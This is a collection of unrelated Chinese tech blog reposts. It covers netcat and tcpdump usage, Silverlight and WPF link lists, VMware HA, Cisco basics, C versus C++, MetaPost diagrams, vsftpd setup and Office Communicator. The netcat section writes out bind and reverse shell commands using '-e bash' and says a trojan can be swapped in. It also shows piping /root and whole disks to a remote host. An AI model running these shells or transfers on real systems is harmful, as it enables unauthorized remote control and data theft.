NETCAT(NC) 网络工具中的瑞士军刀,小巧而强大, 但由于其不加密,所以可能会被嗅探 telnet/获取banner信息 可以连接服务器的端口,然后进行各种操作 nc [-options] hostname port[s] nc -nv 10.1.1.1 110 nc -nv 10.1.1.1 25 nc -nv 10.1.1.1 80 -n:不进行域名解析 -v:详细模式 传输文本信息 可用于远程电子取证,信息收集 监听端口 nc -lp 端口 nc -lp 8888 连接端口 nc -nv 主机 端口nc -nv 172.16.10.10 8888 -l: (listen)监听模式 -p: 端口模式 传输文件/目录 假如我想传输一个文件: file 接收方监听端口并输出文件: nc -lp 端口 > 文件 nc -lp 8888 > dying.mp4 发送方连接并导入文件: nc -nv 主机 端口 < 文件 [-q] [秒数] nc -nv 172.16.10.10 8888 < dying.mp4 -q 1 -q [秒]:指定命令完成后几秒退出 如果不指定秒数,需要手动ctrl+D结束 或者更传统意义上的文件传输: 发送方监听端口并导入文件: nc -q 1 -lp 端口 < 文件 接收方连接并输出文件: nc -nv 主机 端口 > 文件 那么我想传送一个目录呢?nc默认是不支持目录的直接传递的。但我们可以换一个思想,将目录打包成文件传递过去,并在输出的时候直接解压不就很完美了吗。 发送方: tar czvf - 目录 | nc -lp 端口 [-q] [秒数] tar czvf - /root/ | nc -lp 8888 -q 1 接收方: nc -nv 主机 端口 | tar xzvf - nc -nv 172.16.10.10 8888 | tar xzvf - 加密传输文件 根据上面的各种操作,想必你差不多已经了解了nc的各种用法并且也猜到了加密传递的用法。 但我不推荐这么使用,因为很复杂,后面会介绍更方便的工具 先安装mcrypt,因为Kali默认不集成这个工具 apt-get install mcrypt -y 接收方: nc -lp 8888 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 发送方: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 172.16.10.10 8888 -q 1 远程控制 正向布属: 服务器监听: nc -lp 8888 -e bash -e:exec(执行) 客户端连接: nc -nv 172.16.10.10 8888 反向布属: 考虑到存在于DMZ区域的主机可能无法直接访问外部网络 DMZ区域主机: nc -lp 8888 客户端: nc -nv 172.16.10.10 8888 -e bash bash换成文件或木马就可以远程执行了 Windows用户可换成CMD 流媒体服务器 服务器: cat file.mp4 | nc -lp 8888 客户端: nc -nv 172.16.10.10 8888 | mplayer -vo x11 cache 3000 - 端口扫描 和连接差不多的使用,加个-z参数就行了 nc -nvz 主机 端口/批量端口 nc -nvz 172.16.10.10 1-2000 默认扫描tcp端口,你可以加上-u参数扫描udp端口 nc -nvzu 主机 端口/批量端口 远程克隆硬盘 利用dd命令进行块级别的克隆硬盘 接收方: nc -lp 端口 | dd of=/dev/sdb 发送方: dd if=/dev/sda | nc -nv 主机 端口 NCAT 因为nc不包含身份验证和加密能力,所以在公网上使用会很不安全 而ncat就集成了这些功能,其包含在nmap工具中 服务器端: ncat -e bash --allow 主机 -nvl 端口 --ssl 只允许[ip]客户端登录,并采用ssl加密通道,ncat的参数和nc一模一样 客户端: ncat -nv 主机 端口 --ssl TCPDUMP 通常Linux不安装图形化界面,所以wireshark的使用我们以后再讲, 这里先说内置的抓包命令tcpdump 抓包 监听网卡 tcpdump -i eth0 -s 0 -w file.pcap 监听TCP/UDP端口 tcpdump -i eth0 tcp port 22 读取保存的包文件 tcpdump -A/Xr file.pcap -i 指定网卡 -s 指定抓取数据大小,0为不限制 -w 不显示过程并将数据写入文件 -r 读取包文件 -A 以ACSII码显示 -X 以十六进制形式显示 筛选 通常搭配awk使用 打印第三列数据并去除重复 tcpdump [-n] -r 文件 | awk '{print $3}' | sort -u 筛选来源地址 tcpdump [-n] src host 主机 -r 文件] 筛选目的地址 tcpdump [-n] dst host 主机 -r 文件 筛选端口 tcpdump [-n] port 端口 -r 文件 -n 不把IP地址解析成域名 高级筛选 tcpdump还可以针对TCP报文的标签位进行筛选, 一行TCP报文有32位/4个字节的大小, 标签位在第14个字节上, 但因为计数是从0开始,所以写的时候就是第13而不是14了 如果你想筛选确认位和推送位为1的情况,将其转换成十进制,也就是24 tcpdump -A -n 'tcp[13] = 24' -r 文件 有的教程显示TCP报文是6个标签位,这不会造成影响 Anzeme 2017/10/26 本文转自 新网学会 51CTO博客,原文链接:http://blog.51cto.com/xwxhvip/1976371 ,如需转载请自行联系原作者
Silverlight/Windows8/WPF/WP7/HTML5周学习导读(8月13日-8月19日) 本周Silverlight学习资源更新 Silverlight中如何实现上下标的显示 License Silverlight布局的自适应问题 ceh8215877 Silverlight 调用WebService 服务查询数据库 hun0423 ASP页面调用Silverlight控件及传参 hun0423 Silverlight 动态访问Webservice hun0423 Silverlight Chart(一) ----chart基本设置 hun0423 Silverlight Chart(二) ----动态直线 hun0423 Silverlight Chart(三) ----直线样式 hun0423 Silverlight Chart(四) ----柱状图 hun0423 Silverlight Chart(五) ----饼图样式 hun0423 【译+原创】Developing 3D Objects in Silverlight 5(一) 幻翼之神 Silverlight连数据库的方式-实践 小东 更新Silverlight 后 无法启动调试 未安装Silverlight developer 运行时解决办法 风_铃 Silverlight数据验证 不想太帅噢 Silverlight中的session 不想太帅噢 Silverlight的登陆login界面 不想太帅噢 Silverlight连接sql数据库显示数据到dataGrid上 不想太帅噢 Silverlight dataGrid点击显示数据到textBox 不想太帅噢 Silverlight关于dataGrid查询按钮的实现 不想太帅噢 Silverlight开发实例(Prism+MVVM+RIA)(四)--设置菜单权限 huangyezi Silverlight Binding 详解 _eagle Silverlight 线程\跨线程 源码实例 小罗 Silverlight Working with Sockets junchu25 CSLA4.0在Silverlight5.0中 构建可编辑的BusinessListBase对象 dacong Silverlight 跨域调用WCF以及WCF Data Service ymchinabye Silverlight——利用Image.OpacityMask做透明遮罩 wangxiaohui6687 Silverlight 转换器经典demo _eagle Silverlight DependencyObject和DependencyProperty详解 _eagle Silverlight浏览器自适应问题 xjbest ArcGIS Server for Silverlight【1】 Silverlight中使用配置文件方法 WillWayer Silverlight for GIS 添加自定义多边形 xuan444150 基于CSLA4.3组件和仿以然胜甲的展示前台开发的Silverlight5.0简单数据增删改(CRUD) dacong Silverlight 在页面上动态生成控件 RGY_LZY 本周Windows 8开发学习资源更新 Windows 8 Metro App开发[1]平台简介 beyondvincent Windows 8 Metro App开发[2]开发环境搭建与HelloWorld beyondvincent Windows 8 Metro App开发[2]开发环境搭建与HelloWorld beyondvincent Windows 8 Metro App开发[4]弹出画面(Flayouts) beyondvincent Windows 8 Metro App开发[5]导航栏(AppBar)的使用 beyondvincent 【译】Windows 8 Metro app开发中如何获取设备当前位置 beyondvincent Windows 8 Metro App开发[6]访问Assets文件夹 beyondvincent Windows 8 Metro App开发[7]视图模型与数据绑定 beyondvincent Windows 8 Metro App开发[8]处理Fullscreen, Snapped和Filled状态 beyondvincent Windows 8 Metro App开发[9]通知概述(Toast,Tile和Badge) beyondvincent Windows 8 Metro App开发[10]通知使用(Toast,Tile和Badge) beyondvincent Window 8开发疑难杂症(一)——导航 ghwghw Windows 8 Metro App开发[11]浅谈Windows 8 中的合约(contracts) beyondvincent Windows 8 Metro App开发[12]Windows 8 中搜索合约的使用 beyondvincent Windows 8 Metro App开发[13]应用程序生命周期 . beyondvincent Windows 8 Metro App开发中编写和使用自己的Windows Runtime组件 beyondvincent 先玩为快Windows8开发(1):如何创建应用程序项目 tcjiaan windows 8开发1 初始App.cs 中国文物网-sunt 【windows8开发】Windows Runtime组件封装及与javascript的交互 my_business Windows 8 系列(七):使用异步API:await 和 async 李海寅 先玩为快Windows8开发(2):应用程序生命周期 tcjiaan [译]在Windows 8 JavaScript Metro Application 开发(一) hecgaoyuan WIN8 Metro风格应用开发框架的初步了解 rushdown2012 本周Windows Phone开发学习资源更新 《101 Windows Phone 7 Apps》读书笔记-BOOK READER 施炯 与众不同Windows Phone 7(21) - Device(设备)之摄像头(拍摄照片, 录制视频) webabcd Windows Phone 7,程序设置为32位。实现图像流畅显示,避免水波纹 matrixcl Windows Phone 7中TextBlock超长Text文本的正确显示 xujunfeng000 动态创建Pivot控件的PivotItem,LoadedPivotItem事件第一次不触发的问题 xujunfeng000 如何取动态创建和修改PivotItem的子控件 xujunfeng000 通过批处理复制独立存储的文件到桌面并且打开IsolatedStore文件夹 xujunfeng000 《101 Windows Phone 7 Apps》读书笔记-TODO LIST 施炯 Windows Phone 7.1 Socket编程-实现手机与电脑通信 小强孩 Windows Phone 7.1 Socket编程 小强孩 Windows Phone 7开发经验谈(16)-使用Async CTP简化异步编程 豆浆咖啡 Windows Phone SketchFlow Template eternaltung [Windows Phone 7开发] 美化 Panorama 控制项的标头 ericsk [Windows Phone 7开发] 使用 Silverlight Toolkit 中的日期选择器 ericsk 开发试用版 Windows Phone 应用程式 ericsk [Windows Phone 7开发] 处理 JSON 字串 ericsk 为 Mango 更新的 Silverlight Toolkit ericsk [Windows Phone 7开发] App 启动时选择不同的页面 ericsk 与众不同Windows Phone 7(22) - Device(设备)之摄像头(硬件快门, 自动对焦, 实时修改捕获视 webabcd 基于高德地图Windows Phone API 快速开发地图相关APP(一) 贝壳笨 《101 Windows Phone 7 Apps》读书笔记-Groceries 施炯 《101 Windows Phone 7 Apps》读书笔记-Alphabet Flashcards 施炯 Windows Phone 7开发(画刷Brush、变换Transform、样式、换肤) kuangjian007 Windows Phone 7 Dev. 心得体会 futhorclyunt Windows Phone 7开发_多任务模拟(Push Notification) kuangjian007 Window Phone 7访问网络图片-本地缓存-封装CacheNetworkFile.dll的学习 小强孩 高德地图Windows Phone API学习-地图定位与地图模式的切换 小强孩 《101 Windows Phone 7 Apps》读书笔记-Weight Tracker 施炯 VS2010新建Windows Phone Game报错 leestar54 关于Blend4 无法新建 Windows Phone OS7.1 的问题,强制用VS转换7.1出现资源文件不存在 leestar54 Windows Phone 数据绑定之--UI Element Binding 小强孩 Window Phone---数据绑定之DataContext fxiaoquan Window Phone中如何将项目导出为模板 小强孩 基于高德地图Windows Phone API 快速开发地图相关APP(二) 贝壳笨 《101 Windows Phone 7 Apps》读书笔记-Cowbell 施炯 本周WPF学习资源推荐 WPF 按钮背景图片 taomanman WPF 数据绑定 yysyangyangyangshan WPF学习(2) – 逻辑树和可视树、依赖属性、附加属性、路由事件、命令 JustRun 浅尝MVVMLight… Kord Kuo WPF 浅谈表象(一) 迹`@柳燕 WPF 3D入门,MeshGeometry3D的Positions、TriangleIndices和TextureCoo junwillday WPF系列:GridView列绑定控件(一) lufangtao WPF系列:GridView列绑定控件(二) lufangtao 一步一步分析Caliburn.Micro框架(序) 旦旦 WPF学习(3) – WPF控件 JustRun WPF换肤之八:创建3D浏览效果 程序诗人 WPF连接数据库+显示数据到dataGrid 不想太帅噢 WPF--控件 xiao-wei-we WPF中radiobutton 的 data binding方法 fresky WPF 入门(1)—自定义关闭按钮 xiaoxi11 一步一步分析Caliburn.Micro(一:绑定执行方法Message) 旦旦 Extended WPF toolkit wzhiu C# WPF vs WinForm PEPE YU WPF ListBox研究笔记 世界很灰暗 给WPF Browser Application创建数字证书 starlee 在 WPF中使用 BackgroundWorker 在 水 一 方 WPF中给文本框和密码框添加水印 sky300 WPF 登录窗口关闭时打开主窗口 Shoubin SQLite——WPF项目中的注意事项 影天 用WPF控件MediaElement创建简易播放器(视频区域、播放控制区域、播放列表、循环播放) config_man WPF idle noetic_wxb 一步一步分析Caliburn.Micro(二:绑定执行方法Message现学现卖之自定命令) 旦旦 DevExpress WPF表格控件GridControl如何设置行高 DevExpress控件中文网 WPF的转换器中使用Brush应注意问题 Chrs WPF NotifyIcon 实现例子 sliphades WPF的悬停工具栏实现方案 Chrs 本周HTML 5开发学习资源更新 画闭合的多边形 - HTML5 Canvas 作图 HTML Canvas Webkit中HTML5 Video的实现分析 (三) - MediaPlayer & MediaPlayerP horkychen Webkit中HTML5 Video的实现分析 (二) - MediaPlayerFactory & Rende horkychen Webkit中HTML5 Video的实现分析 (一) - 基本结构及HTMLMediaElement & Me horkychen 第四次游戏革命:全息游戏 深蓝色右手 推荐书籍 Windows Phone 7.5:Building Location-aware Application, Windows Phone7.5位置服务应用开发书籍,该书详细介绍Windows Phone地理位置API使用方法和开发技巧,适合Windows Phone开发人员参考阅读。 书籍下载 欢迎大家加入“专注Silverlight, Windows 8”QQ技术群,欢迎大家加入一起学习讨论Silverlight&Windows 8&WPF&Widnows Phone开发技术。 22308706(一群) 超级群500人 37891947(二群) 超级群500人 100844510(三群) 高级群200人 32679922(四群) 超级群500人 23413513(五群) 高级群200人 32679955(六群) 超级群500人 88585140(八群) 超级群500人 128043302(九群 企业应用开发推荐群) 高级群200人 101364438(十群) 超级群500人 68435160(十一群 企业应用开发推荐群)超级群500人 本文转自冷秋寒 51CTO博客,原文链接:http://blog.51cto.com/kevinfan/969075 ,如需转载请自行联系原作者
HA和DRS是vmware中的主要功能。其中HA是vmware的优势技术。下面就看下5.0的不同。 安装了2个ESXi5.0,并添加到vmware center 5.0 挂载iscsi存储。分别在2个ESXi中建立虚拟机,安装windows7. 与4.1版本相同,建立群集 与以前版本相同,这里我都选上 首先是设置DRS,选择自动 电源管理,由于我的实验环境不是真是的物理机器。所以先关闭吧。 开始配置HA。有个Host Monitoring。 HA选项 设置VM MONitoring 设置EVC增加了sandy bridge技术 完成建立HA 建立好后,添加主机进入群集。 我们先把host1添加到群集里。 系统自动配置主机。之后将全部的主机拖进群集就OK了,同样也会出现4。1版本的一些错误,与4。1的解决办法相同。 本文转自mabofeng 51CTO博客,原文链接:http://blog.51cto.com/mabofeng/633582 ,如需转载请自行联系原作者
主要知识点总结: 1.CISCO类产品常用标识:路由器,二层交换机,三层交换机,局域网,广域网,internet,.Frame-Relay各种画法表示: 2.网络设计模型: 接入层:用户接口; 分发层(会话层):公司出口 核心层:ISP 3.OSI七层:也称之为上三层,下四层. 4.交换机,HUB,路由器等工作原理说明: 交换机与HUB工作在二层上,而路由器工作在三层之上;交换机是独占设备,而HUB是共享设备 上面分别为HUB,交换机,路由器; HUB通过时分算法来让每一个用户来传输数据的,先听线路上有没有人在传输,如果没有,就传输,它每个端口不可以同时传输数据; 交换机是可以同时传输数据的,见上图,它有CPU,及RAM,通过电子矩阵的方式实现每个端口,各自传输,互不干涉! 现在主要讲一下交换机的"泛洪"? 见上图,如B要发送数据给C,直接在查找交换机MAC地址表,找到对应端口是f0/3,把数据发到f0/3端口即可!如果要发给A,的话,先对所有端口(不包括发送端口)发查找A的MAC地址,C与D都比较了一下自身的MAC,不相同,没有回应,当路由器接受后,会告诉交换机,他知道A在哪里,虽然它不是A,让交换机只要把包丢给路由器即可!它会把信息发给A! 广播与泛洪的区别:它们都是发送广播,泛洪不会向发送端口发送广播! 路由器每个端口是一个广播域; 交换机每个端口是一个冲突域; 传输层协义:TCP :可靠的,三次握手,建立,传输释放! UDP:没有错误检测(靠应用层来检测是否有错误) 单工------传呼机(只能接,不能收) 半双工----,同一时间接收发送,只能有一人,CSMA/CD就是基于半双工;比如双讲机! 双工-----即可发也可收;比如电话机! CISCO路由器,默认 9600 bps 1 stop bit AUI口DB15针是以前的2500系列产品上有的口,可以通过一个转换器,转成RJ45 CONSOLE口:是DB9转RJ45的线! 5.简单配置命令: 用户模式:> 特权模式:# 全局配置模式:(config)# 子模式:(config-if )#接口子模式 (config-line)# (config-router)# 路由子模式 a.命名: #configure terminal (config)#hostname 要定义的名字 b.关闭解析: (config)# no ip domain-lookup c.设置光标跟随及超时: (config)#line console 0 (config-line)#logging synchronous (config-line)#exec-timeout 分钟 秒 (config-line)#exec-timeout 0 这个表示永不超时! d.设置密码: (config)# enable password 明文 (config)# enable secret 密文 (config)#line console 0 (config-line)#password 口令 (config)#login 表启用检查 e.设置时钟 #clock set 时:分:秒 月:日:年 (一定要打全了) f.登录显示信息: (config)#banner motd #信息# *注首末的第一个字符相同,中间的是输入的信息 g.接口描述信息 (config)#interface fastethernet 0/0 (config-if)#description 所要对这个接口的描述信息 本文转自 godoha 51CTO博客,原文链接:http://blog.51cto.com/godoha/19781 ,如需转载请自行联系原作者
谈点我个人的看法哈,一家之言,欢迎拍砖。 我个人理解,这二者其实没有太大差异性。 C语言面向过程,OP,C++语言面向对象,OO。 但实际上大家可能能关注到,不管如何OO,如何划分类和对象,但是,具体到一个功能,还是要用函数来实现,不管如何写程序,到了函数内部,其实还是那些if、for、while等等语句,还是面向过程的。 所以,我和我的同事,平时并不会明显去分辨C和C++的异同,在我们看来,二者本来就是一体的。 其实这个世界上,完全的OO是不存在的,当我们实现一个功能的时候,很多时候,就是界定一些数据,针对数据添加一些处理流程,获得一个结果,这件事情,本质上就是个过程。 但C++还是很有用的。 因为很多年以前,大家觉得传统面向过程的语言,如C,如Basic,如Pascal,都有一个缺点,就是在程序中,彼此暴露了太多的细节,这造成各个功能之间,由于程序员的失误,很容易发生粘连,联系。换而言之,就算是非法访问,通常也是合法而成功的,不会被编译器检查出来。比如C就允许全局变量和远指针调用。 这在开发大型系统的时候,就出现了bug率居高不下,大型工程项目很难完成的缺点。 正是因为此,大家在上世纪七十年代,提出了模块化开发的思想,试图通过各个模块的独立开发和运行,强行阻断各个模块不必要的耦合性,来达到让程序稳定的目的。 但这样毕竟是人工在操作,是人做的,就可能会犯错误,大家觉得有必要在编译器这一级,要强调模块之间的独立性。 这个时候,大家经过分析,发现程序其实核心是和数据打交道的,一个数据,业务上只要界定了用途,基本上,可能的访问方法就确定得差不多了,那么,我们有没有可能,把一类数据,以及其方法,从编译器的角度区别开来,构建独立模块,外部模块仅能访问到它允许访问的方法,其他的方法,全部报错,拒绝编译呢? 答案是当然可以。大家就这么做了。那么,我们看看,一类数据和其允许的方法的集合,就是对象啦,在这个思想上,OO,面向对象的思想就产生了。 最初,这个语言是一个新的语言,好像叫smalltalk吧,不过,这个时候的语言,还是实验室产品,没有投入商业运营。 但这个时候,市场上,由于UNIX的推动,C语言基本上已经一统天下了。很多人都学的C语言,让大家去学习一门新语言,尤其是开发思路完全不同的语言,是不可想象的,成本太高。大家就想,能不能折中一下,以C的语法为蓝本,开发一套OO的语言,C++就这么诞生了。 其实OP到OO,C到C++,本质上讲,就是一个数据私有化的过程。甚至整个语言的发展史,也是一个数据私有化的过程。如汇编语言,其实是没有私有数据的,所有的内存都可以被访问。 人们通过编译器的界定和完善,逐渐实现数据私有化,最终的目标就是实现一个软件系统内部各个模块之间,高内聚,低耦合的目标,最终保证程序员的产品质量,进而提高生产率。 至于后面的泛型编程,多态,继承等等,无非是在这条路上继续了一步而已,当然,也是为了尽量减少程序员的代码输入量,进一步提升生产效率而已。 所以,从数据组织上讲,C++比C先进了一大步,但从功能实现上讲,C++和C并无本质不同。C++到现在,都不是一种完全的面向对象语言,因为它都仍然保留了全局变量。 所以我的意见,两个一起学,不要刻意去区分,好像用C就要用纯C,没必要。 我们工程中,系统级的模块组织,一般式C++的对象,每个单步功能,流程的实现,我们都是C的函数,仅仅是放在类里面而已。 本文转自tonyxiaohome 51CTO博客,原文链接:http://blog.51cto.com/tonyxiaohome/198740 ,如需转载请自行联系原作者
有一次研发的一个哥们,ping自身IP或自己的主机名称时,出现ping不通的情况。 与其他机器做了对比,发现/etc/sysconfig/network目录下的ifcfg-lo文件为空, 使用“ifconfig lo”查看时也是没有127.0.0.1这个地址。 解决办法,从其他机器复制ifcfg-lo文件到本机。 然后,“ifconfig lo up” 1 2 ifconfig lo up ping <local_self_ip> 即可解决。 版权声明:原创作品,如需转载,请注明出处。否则将追究法律责任 IP服务器ping本文转自 bigstone2012 51CTO博客,原文链接:http://blog.51cto.com/lavenliu/1618595
小白最近闲来无事,自学了一点metapost,主要用它来绘制拓扑图或流程图。小白最近在写自己从工作以来的所学,写成了一份PDF的电子文档(小白不太会使用MS Word)。小白又不想使用JPEG或PNG格式的图片作为插图,因为它们不是矢量的图形,放大后图形就显得不够美观。 好了,废话不多说了,直接来个例子吧,这个插图来自是小白上学时的一本书《操作系统教程》。附代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 # cat GnuLinux.mp verbatimtex \documentclass[10pt]{article} \usepackage{CJK} \AtBeginDocument{\begin{CJK}{UTF8}{gbsn}} \AtEndDocument{\end{CJK}} \begin{document} etex input boxes; % system variables ahangle := 40; % fig0 is linux virtual file system topo outputtemplate := "vfs.mps"; beginfig(0); boxit.a(btex 用户进程 etex); boxit.b(btex 系统调用界面 etex); boxit.c(btex VFS etex); boxit.d(btex Ext3 etex); boxit.e(btex Buffer Cache etex); boxit.f(btex 设备驱动程序 etex); boxit.g(btex 硬盘控制器 etex); boxit.minix(btex Minix etex); boxit.nfs(btex NFS etex); boxit.sysv(btex Sysv etex); boxit.direc(btex 目录cache etex); boxit.inode(btex Inode cache etex); boxit.hard(btex etex); % Len is the box's length % Hig is the box's hight numeric Len; numeric Hig; Len := 65; Hig := 14pt; a.e - a.w = (Len,0); a.n - a.s = (0,Hig); b.e - b.w = (Len,0); b.n - b.s = (0,Hig); c.e - c.w = (Len,0); c.n - c.s = (0,Hig); d.e - d.w = (35,0); d.n - d.s = (0,Hig); minix.e - minix.w = (35,0); minix.n - minix.s = (0,Hig); nfs.e - nfs.w = (35,0); nfs.n - nfs.s = (0,Hig); sysv.e - sysv.w = (35,0); sysv.n - sysv.s = (0,Hig); e.e - e.w = (Len,0); e.n - e.s = (0,Hig); f.e - f.w = (Len,0); f.n - f.s = (0,Hig); g.e - g.w = (Len,0); g.n - g.s = (0,Hig); direc.e - direc.w = (Len,0); direc.n - direc.s = (0,Hig); inode.e - inode.w = (Len,0); inode.n - inode.s = (0,Hig); % Dis is the hight between the boxes numeric Dis; Dis := 20; a.s - b.n = (0,30); b.s - c.n = (0,Dis); c.s - d.ne = (5,Dis); d.se - e.n = (-5,Dis); c.s - nfs.nw = (-5,Dis); d.w - minix.e = (10,0); sysv.w - nfs.e = (10,0); e.s - f.n = (0,Dis); f.s - g.n = (0,30); c.w - direc.e = (Dis,0); c.e - inode.w = (-Dis,0); hard.c = g.c; hard.e - hard.w = (100,0); hard.n - hard.s = (0,34); drawboxed(a,b,c,d,e,f,g,minix,nfs,sysv,direc,inode,hard); % draw the connectors drawarrow a.s -- b.n; drawarrow b.s -- c.n; drawarrow c.s -- minix.n; drawarrow c.s -- d.n; drawarrow c.s -- nfs.n; drawarrow c.s -- sysv.n; pair A[]; A[1] = 1/5[e.nw,e.ne]; A[2] = 2/5[e.nw,e.ne]; A[3] = 3/5[e.nw,e.ne]; A[4] = 4/5[e.nw,e.ne]; drawarrow minix.s -- A[1]; drawarrow d.s -- A[2]; drawarrow nfs.s -- A[3]; drawarrow sysv.s -- A[4]; drawarrow e.s -- f.n; drawarrow f.s -- g.n; drawarrow c.w -- direc.e; drawarrow c.e -- inode.w; % draw the outline pair B[]; B[1] = direc.w - (5,-56); B[2] = inode.e - (-5,-56); B[3] = inode.e - (-5,119); B[4] = direc.w - (5,119); draw B[1] -- B[2] -- B[3] -- B[4] -- cycle dashed evenly; label.rt(btex 硬件层 etex,hard.e); label.rt(btex Linux内核层 etex,b.e+(15,0)); label.rt(btex 系统调用 etex,a.se+(15,-5)); endfig; end 小白觉得这些代码有些臃肿,因为是刚学,所以小白也只能做到这样了。后续还需多加练习,才能写出比较紧凑、高效的代码。 如何编译呢,在windows或gnu/linux系统上(需要安装相关TeX), 1 2 3 4 # mpost -tex=latex GnuLinux 或 # mpost -tex=latex GnuLinux.mp # mptopdf vfs.mps 效果图为: 版权声明:原创作品,如需转载,请注明出处。否则将追究法律责任 流程图拓扑图metapost本文转自 bigstone2012 51CTO博客,原文链接:http://blog.51cto.com/lavenliu/1671243
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 # vsftpd-3.0.2.tar.gz useradd -s /sbin/nolog nobody mkdir /usr/share/empty/ mkdir /var/ftp useradd -d /var/ftp ftp chown root:root /var/ftp chmod og-w /var/ftp # 1)解压 tar -zxvf vsftpd-3.0.2.tar.gz # 2)编译安装 cd vsftpd-3.0.2 make make install cp vsftpd.conf /etc/ cp vsftpd.conf.5 /usr/local/share/man/man5 cp vsftpd.8 /usr/local/share/man/man8 =================================================== # 3)配置 /etc/vsftpd.conf anonymous_enable=NO #禁止匿名登录 local_enable=YES #开启本地用户登录 write_enable=YES #允许写入 local_umask=022 #上传后修改文件掩码 xferlog_enable=YES #是否启用日志 xferlog_std_format=YES #日志格式 xferlog_file=DIR # 日志文件存放的目录 ftpd_banner=STRING # 设置欢迎信息 anon_max_rate=100000 #设置匿名用户最大传输速录为100KB/s local_enable=YES write_enable=YES local_unmask=022 local_max_rate=200000 #用户最大传输速录为200KB/s !注意 如果一定要启用SELinux 下允许用户上传文件到目录则需要执行 setsebool -P ftp_home_dir 1 setsebool -P allow_ftpd_full_access 1 # 限制指定的用户不能访问,而其他用户可以访问 userlist_enable=YES #是否启用访问控制列表功能 userlist_deny=YES # 这里写什么值 就是下面列出用户是否可以登录 userlist_file=/etc/vsftpd.user_list # 限制指定的用户可以访问,而其他用户不可以访问 *推荐 userlist_enable=YES userlist_deny=NO userlist_file=/etc/vsftpd.user_list # 设置 chroot # 把宿主目录当做根目录进行访问 无法访问别人的目录 # 设置所有用户执行chroot chroot_local_user=YES # 设置指定的用户不执行chroot chroot_local_user=YES chroot_local_enable=YES chroot_list_file=/etc/vsftpd/chroot_list # 其他设置选项 idle_session_timeout=600 #用户空闲10分钟后挂断 单位为秒 max_clients=50 #服务器的总的并发连接数为50 max_per_ip=3 #每个客户机的最大连接数为3 listen_port=10011 #指定非标准端口 ============================================================ 基本命令 ls cd bin - 二进制传输 lcd - 切换下载目录(本地) get - 下载单个文件 mget - 下载多个文件 put - 上传单个文件 mput - 上传多个文件 prompt - 关闭交互模式 bye - 退出 open IP - 连接主机 user USERNAME PASSWORD - 切换用户 ============================================================== shell open IP user ftp bin prompt lcd /ftp.bak mget * bye ***** ftp -n < auto.sh > /dev/null -n 关闭交互模式 就能把文件下载下来了 =============================================================== ************************************************************************* vim builddefs.h ============ builddefs.h ================ #undef VSF_BUILD_TCPWRAPPERS #define VSF_BUILD_PAM #undef VSF_BUILD_SSL ************** change ******************** #define VSF_BUILD_TCPWRAPPERS #define VSF_BUILD_PAM #define VSF_BUILD_SSL ========================================== =========== 依赖关系 ====================== # tcp_wrappers wget ftp://ftp.porcupine.org/pub/security/tcp_wrappers_7.6.tar.gz tar -zxvf tcp_wrappers_7.6.tar.gz cd tcp_wrappers_7.6 # mkdir REAL_DAEMON_DIR # mv /usr/etc/in.fingerd REAL_DAEMON_DIR # cp tcpd /usr/etc/in.fingerd ============================================ 本文转自 拖鞋崽 51CTO博客,原文链接:http://blog.51cto.com/1992mrwang/1248845
微软的Office Communicator 2007(统一沟通)正式版将在本月底正式发布。 通过微软Office Communicator 2007可以成为企业不可缺少的应用: ( 1)、流线化的沟通;(2)、企业支撑平台;(3)、内置安全防护;(4)、架构未来的软件基础等。 1、在线状态 可以定义更加详细的在线状态描述,发布更详细的活动信息;可以通过两种方式扩展用户选择/管理员控制API 支持。 基础状态为:Online、Busy、Do Not Disturb Availability 属性决定自定义的状态显示哪一个在线图标自定义状态的文本长度最大为64个字符 OCS2007最多只能添加 4 种自定义状态 可以通过 LCID 适应不同语言版本的 OC:英语美国(1033),中国大陆(2052),中国香港(3076) http://www.microsoft.com/globaldev/reference/lcid-all.mspx 2、扩展在线状态 扩展步骤 编辑状态配置 XML 文件 在服务器端保存该文件,并以共享文件或 IIS 发布文件 退出 Communicator 编辑注册表,在 HKLM\SOFTWARE\Policies\Microsoft\Communicator 下添加 CustomStateURL 项,指向状态配置文件 URL 支持 FILE、 HTTP、 HTTPS 三种方式 重新启动并登录 Communicator 3、标签页 通过 Web 页面来扩展 OC 窗口:ASP.NET、MOSS WebPart… 标签页的显示方式与 OC 2005不同; 第一个标签页在OC启动时即载入; 支持联系人切换时动态刷新页面; 4、扩展标签页 (1)扩展方式: 一份标签页配置 XML 文件,可以通过网络(文件共享或Web)访问到该文件 在注册表中添加该文件的 URL \Software\Policies\Microsoft\Communicator 下的 TabURL 项 该 URL 需要添加进 IE 的信任站点 每个标签页的图标 PNG 格式 不大于 16X16 ,或者刚好为 32X32 如果图标文件无法访问或不符合大小,则显示 OC 的缺省图标 (2)创建标签页配置文件 例如: <?xml version="1.0" ?> <tabdata> <tab> <image>http://site/image.png</image> <name>Tab title</name> <tooltip>Tooltip text</tooltip> <contenturl> http://site/content</contenturl> <userid>true</userid> <contactid>true</contactid> <accessibility>inside</accessibility> </tab> </tabdata> 最多扩展 32 个标签页。 (3)标签页配置文件属性 image: 图标的 URL name: 标签的友好名,用于标识XML节点,将不显示 tooltip: 鼠标悬停在标签上显示的提示信息 contenturl: 标签页面的 URL userid: true|false,展现标签页面时是否带上 userid 参数,为当前用户的 SIP 地址 contactid: true|false, 展现标签页面时是否带上 contactid 参数,为联系人的 SIP 地址 accessibility: inside|outside|both,用户在企业内部或企业外部登录时,该标签是否显示 name 与 contenturl 为必需信息 (4)HAB的实现 开发一个标签页,实现层级关系的组织架构,有利于用户浏览整个组织;使用 ASP.NET 开发,数据源来自 Active Directory Database; 5、环境感知 页面访问参数: 标签配置中开启 userid 或 contactid 